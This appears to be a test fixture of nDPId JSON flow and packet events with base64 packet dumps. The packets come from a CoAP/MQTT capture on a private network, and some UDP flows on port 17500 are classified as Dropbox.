+00420{"flow_id":13,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":95,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":628655,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"CAAnAERyCAAnmO\/hCABFAAAs1K5AAEAGdGbAqDhlwKg4AURd0RSW3pLRxZi7AFAYAOXx1QAAQAIABQ=="} +00527{"flow_id":12,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":99,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":694771,"pkt_caplen":136,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":136,"pkt_l4_len":102,"pkt":"CAAnmO\/hCAAnAERyCABFAAB6ENoAAIARN+LAqDgBwKg4ZcSHRFwAZlueQQM1AxdyRFxBcghCdXMxN0NtZBEy\/3sibWVzc2FnZVR5cGUiOiJVUERBVEUiLCJtZXNzYWdlQ29udGVudCI6IkZyaSBGZWIgMTkgMjA6NDE6MTEgRUVUIDIwMTYifQ=="} +00532{"flow_id":13,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":102,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":695928,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"CAAnAERyCAAnmO\/hCABFAAB+1K9AAEAGdBPAqDhlwKg4AURd0RSW3pLVxZi7AFAYAOXyJwAAMlQACEJ1czE3Q21kAAR7Im1lc3NhZ2VUeXBlIjoiVVBEQVRFIiwibWVzc2FnZUNvbnRlbnQiOiJGcmkgRmViIDE5IDIwOjQxOjExIEVFVCAyMDE2In0="} +00422{"flow_id":13,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":106,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":696072,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"CAAnmO\/hCAAnAERyCABFAAAoEN1AAIAG+DvAqDgBwKg4ZdEURF3FmLsAlt6TK1AQAP\/9CAAAAAAAAAAA"} +00420{"flow_id":12,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":108,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":696248,"pkt_caplen":59,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":59,"pkt_l4_len":25,"pkt":"CAAnAERyCAAnmO\/hCABFAAAtXaZAAEAR62LAqDhlwKg4AURcxIcAGfHhYUQ1AxeLL3IvQnVzMTdDbWQ="} +00536{"flow_id":12,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":129,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":800184,"pkt_caplen":143,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":143,"pkt_l4_len":109,"pkt":"CAAnmO\/hCAAnAERyCABFAACBEOcAAIARN87AqDgBwKg4ZcSHRFwAbZmySAM1BCrL+A7rA\/3EckRcQXIIQnVzMTdDbWQRMv97Im1lc3NhZ2VUeXBlIjoiVVBEQVRFIiwibWVzc2FnZUNvbnRlbnQiOiJGcmkgRmViIDE5IDIwOjQxOjExIEVFVCAyMDE2In0="} +00429{"flow_id":12,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":138,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":802197,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"CAAnAERyCAAnmO\/hCABFAAA0XahAAEAR61nAqDhlwKg4AURcxIcAIPHoaEQ1BCrL+A7rA\/3Eiy9yL0J1czE3Q21k"} +00532{"flow_id":12,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":159,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":913984,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"CAAnmO\/hCAAnAERyCABFAAB9EPQAAIARN8XAqDgBwKg4ZcSHRFwAaSr1RAM1BaHn3H9yRFxBcghCdXMxN0NtZBEy\/3sibWVzc2FnZVR5cGUiOiJVUERBVEUiLCJtZXNzYWdlQ29udGVudCI6IkZyaSBGZWIgMTkgMjA6NDE6MTEgRUVUIDIwMTYifQ=="} +00425{"flow_id":12,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":167,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":915914,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"CAAnAERyCAAnmO\/hCABFAAAwXcFAAEAR60TAqDhlwKg4AURcxIcAHPHkZEQ1BaHn3H+LL3IvQnVzMTdDbWQ="} +00528{"flow_id":12,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":189,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907272,"pkt_ts_usec":20822,"pkt_caplen":136,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":136,"pkt_l4_len":102,"pkt":"CAAnmO\/hCAAnAERyCABFAAB6EQEAAIARN7vAqDgBwKg4ZcSHRFwAZr+aQQM1BrJyRFxBcghCdXMxN0NtZBEy\/3sibWVzc2FnZVR5cGUiOiJVUERBVEUiLCJtZXNzYWdlQ29udGVudCI6IkZyaSBGZWIgMTkgMjA6NDE6MTIgRUVUIDIwMTYifQ=="} +00420{"flow_id":12,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":198,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907272,"pkt_ts_usec":23045,"pkt_caplen":59,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":59,"pkt_l4_len":25,"pkt":"CAAnAERyCAAnmO\/hCABFAAAtXcxAAEAR6zzAqDhlwKg4AURcxIcAGfHhYUQ1BrKLL3IvQnVzMTdDbWQ="} +00530{"flow_id":12,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":219,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907272,"pkt_ts_usec":130232,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"CAAnmO\/hCAAnAERyCABFAAB8EQ4AAIARN6zAqDgBwKg4ZcSHRFwAaGrJQwM1B8\/MNXJEXEFyCEJ1czE3Q21kETL\/eyJtZXNzYWdlVHlwZSI6IlVQREFURSIsIm1lc3NhZ2VDb250ZW50IjoiRnJpIEZlYiAxOSAyMDo0MToxMiBFRVQgMjAxNiJ9"} +00427{"flow_id":12,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":228,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907272,"pkt_ts_usec":132073,"pkt_caplen":61,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":61,"pkt_l4_len":27,"pkt":"CAAnAERyCAAnmO\/hCABFAAAvXc1AAEAR6znAqDhlwKg4AURcxIcAG\/HjY0Q1B8\/MNYsvci9CdXMxN0NtZA=="} +00530{"flow_id":12,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":249,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907272,"pkt_ts_usec":239138,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"CAAnmO\/hCAAnAERyCABFAAB8ERsAAIARN5\/AqDgBwKg4ZcSHRFwAaNHfQwM1CFi1RXJEXEFyCEJ1czE3Q21kETL\/eyJtZXNzYWdlVHlwZSI6IlVQREFURSIsIm1lc3NhZ2VDb250ZW50IjoiRnJpIEZlYiAxOSAyMDo0MToxMiBFRVQgMjAxNiJ9"} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":429,"source":"coap_mqtt.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1455907272856,"flow_last_seen":0,"flow_tot_l4_data_len":103,"flow_min_l4_data_len":103,"flow_max_l4_data_len":103,"flow_avg_l4_data_len":103,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.56.1","dst_ip":"192.168.56.101","src_port":50318,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00527{"flow_id":14,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":429,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907272,"pkt_ts_usec":856457,"pkt_caplen":137,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":137,"pkt_l4_len":103,"pkt":"CAAnmO\/hCAAnAERyCABFAAB7EWkAAIARN1LAqDgBwKg4ZcSORFwAZ7scQgMdqQeYckRcQXIIQnVzMTdDbWQRMv97Im1lc3NhZ2VUeXBlIjoiVVBEQVRFIiwibWVzc2FnZUNvbnRlbnQiOiJGcmkgRmViIDE5IDIwOjQxOjEyIEVFVCAyMDE2In0="} +00517{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":429,"source":"coap_mqtt.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1455907272856,"flow_last_seen":0,"flow_tot_l4_data_len":103,"flow_min_l4_data_len":103,"flow_max_l4_data_len":103,"flow_avg_l4_data_len":103,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.56.1","dst_ip":"192.168.56.101","src_port":50318,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00420{"flow_id":14,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":439,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907272,"pkt_ts_usec":858898,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"CAAnAERyCAAnmO\/hCABFAAAuXhFAAEAR6vbAqDhlwKg4AURcxI4AGvHiYkQdqQeYiy9yL0J1czE3Q21k"} +00533{"flow_id":14,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":489,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907272,"pkt_ts_usec":969405,"pkt_caplen":141,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":141,"pkt_l4_len":107,"pkt":"CAAnmO\/hCAAnAERyCABFAAB\/EYMAAIARNzTAqDgBwKg4ZcSORFwAa8WlRgMdqhF5z0YYRXJEXEFyCEJ1czE3Q21kETL\/eyJtZXNzYWdlVHlwZSI6IlVQREFURSIsIm1lc3NhZ2VDb250ZW50IjoiRnJpIEZlYiAxOSAyMDo0MToxMyBFRVQgMjAxNiJ9"} +00428{"flow_id":14,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":502,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907272,"pkt_ts_usec":973211,"pkt_caplen":64,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":64,"pkt_l4_len":30,"pkt":"CAAnAERyCAAnmO\/hCABFAAAyXh5AAEAR6uXAqDhlwKg4AURcxI4AHvHmZkQdqhF5z0YYRYsvci9CdXMxN0NtZA=="} +00530{"flow_id":14,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":549,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907273,"pkt_ts_usec":77178,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"CAAnmO\/hCAAnAERyCABFAAB+EZ0AAIARNxvAqDgBwKg4ZcSORFwAakdVRQMdqyVsmyV8ckRcQXIIQnVzMTdDbWQRMv97Im1lc3NhZ2VUeXBlIjoiVVBEQVRFIiwibWVzc2FnZUNvbnRlbnQiOiJGcmkgRmViIDE5IDIwOjQxOjEzIEVFVCAyMDE2In0="} +00423{"flow_id":14,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":562,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907273,"pkt_ts_usec":81291,"pkt_caplen":63,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":63,"pkt_l4_len":29,"pkt":"CAAnAERyCAAnmO\/hCABFAAAxXi1AAEAR6tfAqDhlwKg4AURcxI4AHfHlZUQdqyVsmyV8iy9yL0J1czE3Q21k"} +00538{"flow_id":14,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":609,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907273,"pkt_ts_usec":185183,"pkt_caplen":142,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":142,"pkt_l4_len":108,"pkt":"CAAnmO\/hCAAnAERyCABFAACAEbcAAIARNv\/AqDgBwKg4ZcSORFwAbOGwRwMdrCZfT\/MB3yhyRFxBcghCdXMxN0NtZBEy\/3sibWVzc2FnZVR5cGUiOiJVUERBVEUiLCJtZXNzYWdlQ29udGVudCI6IkZyaSBGZWIgMTkgMjA6NDE6MTMgRUVUIDIwMTYifQ=="} +00430{"flow_id":14,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":622,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907273,"pkt_ts_usec":189286,"pkt_caplen":65,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":65,"pkt_l4_len":31,"pkt":"CAAnAERyCAAnmO\/hCABFAAAzXjVAAEAR6s3AqDhlwKg4AURcxI4AH\/HnZ0QdrCZfT\/MB3yiLL3IvQnVzMTdDbWQ="} +00527{"flow_id":14,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":669,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907273,"pkt_ts_usec":294694,"pkt_caplen":137,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":137,"pkt_l4_len":103,"pkt":"CAAnmO\/hCAAnAERyCABFAAB7EdEAAIARNurAqDgBwKg4ZcSORFwAZ8IuQgMdrQCBckRcQXIIQnVzMTdDbWQRMv97Im1lc3NhZ2VUeXBlIjoiVVBEQVRFIiwibWVzc2FnZUNvbnRlbnQiOiJGcmkgRmViIDE5IDIwOjQxOjEzIEVFVCAyMDE2In0="} +00421{"flow_id":14,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":682,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907273,"pkt_ts_usec":300713,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"CAAnAERyCAAnmO\/hCABFAAAuXkRAAEAR6sPAqDhlwKg4AURcxI4AGvHiYkQdrQCBiy9yL0J1czE3Q21k"} +00533{"flow_id":14,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":713,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907273,"pkt_ts_usec":413806,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"CAAnmO\/hCAAnAERyCABFAAB9EecAAIARNtLAqDgBwKg4ZcSORFwAafrxRAMdrpQQMahyRFxBcghCdXMxN0NtZBEy\/3sibWVzc2FnZVR5cGUiOiJVUERBVEUiLCJtZXNzYWdlQ29udGVudCI6IkZyaSBGZWIgMTkgMjA6NDE6MTMgRUVUIDIwMTYifQ=="} +00425{"flow_id":14,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":726,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907273,"pkt_ts_usec":419051,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"CAAnAERyCAAnmO\/hCABFAAAwXlpAAEAR6qvAqDhlwKg4AURcxI4AHPHkZEQdrpQQMaiLL3IvQnVzMTdDbWQ="} +00534{"flow_id":14,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":757,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907273,"pkt_ts_usec":530785,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"CAAnmO\/hCAAnAERyCABFAAB+Ef0AAIARNrvAqDgBwKg4ZcSORFwAassPRQMdr\/Kq\/CfKckRcQXIIQnVzMTdDbWQRMv97Im1lc3NhZ2VUeXBlIjoiVVBEQVRFIiwibWVzc2FnZUNvbnRlbnQiOiJGcmkgRmViIDE5IDIwOjQxOjEzIEVFVCAyMDE2In0="} +00427{"flow_id":14,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":770,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907273,"pkt_ts_usec":536055,"pkt_caplen":63,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":63,"pkt_l4_len":29,"pkt":"CAAnAERyCAAnmO\/hCABFAAAxXnBAAEAR6pTAqDhlwKg4AURcxI4AHfHlZUQdr\/Kq\/CfKiy9yL0J1czE3Q21k"} +00533{"flow_id":14,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":817,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907273,"pkt_ts_usec":658448,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"CAAnmO\/hCAAnAERyCABFAAB9EhcAAIARNqLAqDgBwKg4ZcSORFwAaYovRAMdsNz8WXxyRFxBcghCdXMxN0NtZBEy\/3sibWVzc2FnZVR5cGUiOiJVUERBVEUiLCJtZXNzYWdlQ29udGVudCI6IkZyaSBGZWIgMTkgMjA6NDE6MTMgRUVUIDIwMTYifQ=="} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1032,"source":"coap_mqtt.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1455907274088,"flow_last_seen":0,"flow_tot_l4_data_len":105,"flow_min_l4_data_len":105,"flow_max_l4_data_len":105,"flow_avg_l4_data_len":105,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.56.1","dst_ip":"192.168.56.101","src_port":50312,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00532{"flow_id":15,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1032,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907274,"pkt_ts_usec":88318,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"CAAnmO\/hCAAnAERyCABFAAB9EncAAIARNkLAqDgBwKg4ZcSIRFwAaR7GRANSj9XGl0FyRFxBcghCdXMxN0NtZBEy\/3sibWVzc2FnZVR5cGUiOiJVUERBVEUiLCJtZXNzYWdlQ29udGVudCI6IkZyaSBGZWIgMTkgMjA6NDE6MTQgRUVUIDIwMTYifQ=="} +00518{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1032,"source":"coap_mqtt.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1455907274088,"flow_last_seen":0,"flow_tot_l4_data_len":105,"flow_min_l4_data_len":105,"flow_max_l4_data_len":105,"flow_avg_l4_data_len":105,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.56.1","dst_ip":"192.168.56.101","src_port":50312,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00424{"flow_id":15,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1042,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907274,"pkt_ts_usec":89637,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"CAAnAERyCAAnmO\/hCABFAAAwXqNAAEAR6mLAqDhlwKg4AURcxIgAHPHkZERSj9XGl0GLL3IvQnVzMTdDbWQ="} +00536{"flow_id":15,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1083,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907274,"pkt_ts_usec":193327,"pkt_caplen":143,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":143,"pkt_l4_len":109,"pkt":"CAAnmO\/hCAAnAERyCABFAACBEpIAAIARNiPAqDgBwKg4ZcSIRFwAbeMnSANSkLugNTWCkTE2ckRcQXIIQnVzMTdDbWQRMv97Im1lc3NhZ2VUeXBlIjoiVVBEQVRFIiwibWVzc2FnZUNvbnRlbnQiOiJGcmkgRmViIDE5IDIwOjQxOjE0IEVFVCAyMDE2In0="} +00429{"flow_id":15,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1091,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907274,"pkt_ts_usec":196759,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"CAAnAERyCAAnmO\/hCABFAAA0XrRAAEAR6k3AqDhlwKg4AURcxIgAIPHoaERSkLugNTWCkTE2iy9yL0J1czE3Q21k"} +00533{"flow_id":15,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1149,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907274,"pkt_ts_usec":315964,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"CAAnmO\/hCAAnAERyCABFAAB9ErEAAIARNgjAqDgBwKg4ZcSIRFwAaZj1RANSkbrKOAxyRFxBcghCdXMxN0NtZBEy\/3sibWVzc2FnZVR5cGUiOiJVUERBVEUiLCJtZXNzYWdlQ29udGVudCI6IkZyaSBGZWIgMTkgMjA6NDE6MTQgRUVUIDIwMTYifQ=="} +00425{"flow_id":15,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1158,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907274,"pkt_ts_usec":321324,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"CAAnAERyCAAnmO\/hCABFAAAwXsVAAEAR6kDAqDhlwKg4AURcxIgAHPHkZERSkbrKOAyLL3IvQnVzMTdDbWQ="} +00532{"flow_id":15,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1212,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907274,"pkt_ts_usec":430817,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"CAAnmO\/hCAAnAERyCABFAAB+EtAAAIARNejAqDgBwKg4ZcSIRFwAajY+RQNSknZ4406+ckRcQXIIQnVzMTdDbWQRMv97Im1lc3NhZ2VUeXBlIjoiVVBEQVRFIiwibWVzc2FnZUNvbnRlbnQiOiJGcmkgRmViIDE5IDIwOjQxOjE0IEVFVCAyMDE2In0="} +00425{"flow_id":15,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1231,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907274,"pkt_ts_usec":441709,"pkt_caplen":63,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":63,"pkt_l4_len":29,"pkt":"CAAnAERyCAAnmO\/hCABFAAAxXtpAAEAR6irAqDhlwKg4AURcxIgAHfHlZURSknZ4406+iy9yL0J1czE3Q21k"} +00533{"flow_id":15,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1285,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907274,"pkt_ts_usec":550566,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"CAAnmO\/hCAAnAERyCABFAAB+Eu8AAIARNcnAqDgBwKg4ZcSIRFwAaj5\/RQNSkz2wCtXHckRcQXIIQnVzMTdDbWQRMv97Im1lc3NhZ2VUeXBlIjoiVVBEQVRFIiwibWVzc2FnZUNvbnRlbnQiOiJGcmkgRmViIDE5IDIwOjQxOjE0IEVFVCAyMDE2In0="} +00426{"flow_id":15,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1293,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907274,"pkt_ts_usec":553250,"pkt_caplen":63,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":63,"pkt_l4_len":29,"pkt":"CAAnAERyCAAnmO\/hCABFAAAxXuNAAEAR6iHAqDhlwKg4AURcxIgAHfHlZURSkz2wCtXHiy9yL0J1czE3Q21k"} +00529{"flow_id":15,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1351,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907274,"pkt_ts_usec":674433,"pkt_caplen":137,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":137,"pkt_l4_len":103,"pkt":"CAAnmO\/hCAAnAERyCABFAAB7Ew4AAIARNa3AqDgBwKg4ZcSIRFwAZ6AIQgNSlO3EckRcQXIIQnVzMTdDbWQRMv97Im1lc3NhZ2VUeXBlIjoiVVBEQVRFIiwibWVzc2FnZUNvbnRlbnQiOiJGcmkgRmViIDE5IDIwOjQxOjE0IEVFVCAyMDE2In0="} +00422{"flow_id":15,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1360,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907274,"pkt_ts_usec":676206,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"CAAnAERyCAAnmO\/hCABFAAAuXvJAAEAR6hXAqDhlwKg4AURcxIgAGvHiYkRSlO3Eiy9yL0J1czE3Q21k"} 